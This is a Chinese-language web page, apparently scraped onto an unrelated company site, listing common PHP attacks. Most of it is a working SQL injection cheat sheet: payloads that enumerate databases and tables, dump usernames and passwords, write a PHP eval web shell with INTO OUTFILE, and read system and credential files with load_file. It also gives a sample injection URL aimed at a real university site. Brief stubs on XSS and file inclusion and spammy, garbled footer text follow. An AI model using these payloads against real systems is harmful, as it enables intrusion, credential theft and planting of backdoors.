濮阳杆衣贸易有限公司

主頁(yè) > 知識(shí)庫(kù) > PHP常見(jiàn)的幾種攻擊方式實(shí)例小結(jié)

PHP常見(jiàn)的幾種攻擊方式實(shí)例小結(jié)

熱門標(biāo)簽:百度地圖怎樣標(biāo)注圖標(biāo) 廣東廣州在怎么申請(qǐng)400電話 外呼系統(tǒng)能給企業(yè)帶來(lái)哪些好處 余姚電話機(jī)器人 400電話蘭州申請(qǐng)請(qǐng) 咸寧銷售電銷機(jī)器人系統(tǒng) 電銷機(jī)器人問(wèn)門薩維品牌my 開(kāi)發(fā)地圖標(biāo)注類網(wǎng)站 百度地圖標(biāo)注偏差

本文實(shí)例總結(jié)了PHP常見(jiàn)的幾種攻擊方式。分享給大家供大家參考,具體如下:

1.SQL Injection(sql注入)

①.暴字段長(zhǎng)度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用內(nèi)置函數(shù)暴數(shù)據(jù)庫(kù)信息

version() database() user()

不用猜解可用字段暴數(shù)據(jù)庫(kù)信息(有些網(wǎng)站不適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系統(tǒng)信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

數(shù)據(jù)庫(kù)權(quán)限:

and ord(mid(user(),1,1))=114 /* 返回正常說(shuō)明為root

暴庫(kù) (mysql>5.0)

Mysql 5 以上有內(nèi)置庫(kù) information_schema,存儲(chǔ)著mysql的所有數(shù)據(jù)庫(kù)和表結(jié)構(gòu)信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(kù)(十六進(jìn)制) limit 0(開(kāi)始的記錄,0為第一個(gè)開(kāi)始記錄),1(顯示1條記錄)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進(jìn)制)limit 0,1

暴密碼

and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

高級(jí)用法(一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容):Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫(xiě)馬(Root權(quán)限)

條件:

①、知道站點(diǎn)物理路徑

②、有足夠大的權(quán)限(可以用select …. from mysql.user測(cè)試)

③、magic_quotes_gpc()=OFF

select '?php eval($_POST[cmd])?>' into outfile '物理路徑' and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 “” 替換成”空格” 返回的是網(wǎng)頁(yè).而無(wú)法查看到代碼.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機(jī)配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開(kāi)發(fā)的網(wǎng)站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機(jī)
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機(jī)配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對(duì)3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機(jī)查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、usr/local/app/php5 b/php.ini PHP 的相當(dāng)設(shè)置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統(tǒng)版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射時(shí)出現(xiàn)的問(wèn)題:

當(dāng)注射后頁(yè)面顯示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

這是由于前后編碼不一致造成的,

解決方法:在參數(shù)前加上 unhex(hex(參數(shù)))就可以了。上面的URL就可以改為:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以繼續(xù)注射了。。。

2.XSS (Cross Site Scripting)(跨站腳本攻擊)

//www.jb51.net/article/160334.htm

3.Source Code Revelation(源代碼暴露)

可以用php.ini或者h(yuǎn)taccess控制

Files ~ "\.inc$">
   Order allow,deny
   Deny from all
/Files>

4.Remote File Inclusion(遠(yuǎn)程文件包含漏洞)

?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站請(qǐng)求偽造)

7.Directory Traversal(目錄跨越)

更多關(guān)于PHP相關(guān)內(nèi)容感興趣的讀者可查看本站專題:《php程序設(shè)計(jì)安全教程》、《php安全過(guò)濾技巧總結(jié)》、《PHP運(yùn)算與運(yùn)算符用法總結(jié)》、《PHP基本語(yǔ)法入門教程》、《php面向?qū)ο蟪绦蛟O(shè)計(jì)入門教程》、《php字符串(string)用法總結(jié)》、《php+mysql數(shù)據(jù)庫(kù)操作入門教程》及《php常見(jiàn)數(shù)據(jù)庫(kù)操作技巧匯總》

希望本文所述對(duì)大家PHP程序設(shè)計(jì)有所幫助。

您可能感興趣的文章:
  • 整理php防注入和XSS攻擊通用過(guò)濾
  • PHP中防止SQL注入攻擊和XSS攻擊的兩個(gè)簡(jiǎn)單方法
  • php防止CC攻擊代碼 php防止網(wǎng)頁(yè)頻繁刷新
  • PHP和XSS跨站攻擊的防范
  • 細(xì)談php中SQL注入攻擊與XSS攻擊
  • php DOS攻擊實(shí)現(xiàn)代碼(附如何防范)
  • php實(shí)現(xiàn)cc攻擊防御和防止快速刷新頁(yè)面示例
  • PHP代碼網(wǎng)站如何防范SQL注入漏洞攻擊建議分享
  • PHP與SQL注入攻擊防范小技巧
  • php5系列的apache遠(yuǎn)程執(zhí)行漏洞攻擊腳本
  • php下網(wǎng)站防IP攻擊代碼,超級(jí)實(shí)用

標(biāo)簽:臨沂 銅陵 衡陽(yáng) 麗江 重慶 十堰 鷹潭 巴彥淖爾

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PHP常見(jiàn)的幾種攻擊方式實(shí)例小結(jié)》,本文關(guān)鍵詞  PHP,常見(jiàn),的,幾種,攻擊,方式,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PHP常見(jiàn)的幾種攻擊方式實(shí)例小結(jié)》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于PHP常見(jiàn)的幾種攻擊方式實(shí)例小結(jié)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    长治市| 蒲江县| 兴文县| 阿勒泰市| 五原县| 郧西县| 潼南县| 江西省| 民权县| 尉氏县| 正镶白旗| 罗江县| 基隆市| 衡山县| 普兰县| 新巴尔虎右旗| 中西区| 抚顺市| 鄱阳县| 武夷山市| 平度市| 甘孜县| 石河子市| 杭锦旗| 南昌市| 娄底市| 讷河市| 长子县| 龙山县| 许昌市| 武乡县| 伊宁市| 寿光市| 景东| 汉阴县| 鹤庆县| 泌阳县| 修水县| 江油市| 游戏| 乾安县|